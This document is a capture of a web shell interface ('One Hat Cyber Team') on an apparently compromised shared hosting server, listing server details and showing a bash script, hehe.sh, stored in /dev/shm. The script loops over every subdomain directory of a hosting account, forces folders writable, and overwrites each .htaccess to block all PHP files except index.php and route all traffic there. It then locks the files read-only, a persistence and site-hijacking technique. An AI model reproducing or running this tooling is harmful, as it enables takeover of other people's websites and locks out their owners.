One Hat Cyber Team
Your IP:
216.73.216.58
Server IP:
198.54.114.155
Server:
Linux server71.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server Software:
LiteSpeed
PHP Version:
5.6.40
Create File
|
Create Folder
Execute
Dir :
~
/
dev
/
shm
/
View File Name :
hehe.sh
#!/bin/bash # Direktori utama yang berisi subdomain base_dir="/home/tripckjr/" log_file="log.txt" # Isi .htaccess yang ingin ditulis htaccess_content='<FilesMatch "\.(php|Php|pHp|phP|php3|php4|php5|php6|php7|php8|php9|phtml|phar|pht|shtml|asp|aspx|fla)$"> Order deny,allow Deny from all </FilesMatch> <FilesMatch "index.php"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>' # Kosongkan log > "$log_file" # Loop melalui setiap subfolder di base_dir for dir in "$base_dir"/*/; do # Cek apakah ini direktori saja if [ -d "$dir" ]; then htfile="${dir}.htaccess" # Jika direktori tidak bisa ditulis, ubah permissionnya perm_dir=$(stat -c "%a" "$dir") if [[ "$perm_dir" == "555" || "$perm_dir" == "111" ]]; then chmod 755 "$dir" || echo "Gagal chmod 755 pada folder: $dir" >> "$log_file" fi # Jika ada .htaccess di root subfolder if [ -f "$htfile" ]; then perm_file=$(stat -c "%a" "$htfile") if [[ "$perm_file" == "444" ]]; then chmod 644 "$htfile" || echo "Gagal chmod 644 pada: $htfile" >> "$log_file" fi echo "$htaccess_content" > "$htfile" || echo "Gagal menulis ke: $htfile" >> "$log_file" chmod 444 "$htfile" || echo "Gagal chmod 444 pada: $htfile" >> "$log_file" else # Jika belum ada .htaccess, buat baru echo "$htaccess_content" > "$htfile" || echo "Gagal membuat .htaccess di: $htfile" >> "$log_file" chmod 444 "$htfile" || echo "Gagal chmod 444 pada: $htfile" >> "$log_file" fi fi done echo "Selesai. Cek log di $log_file jika ada error."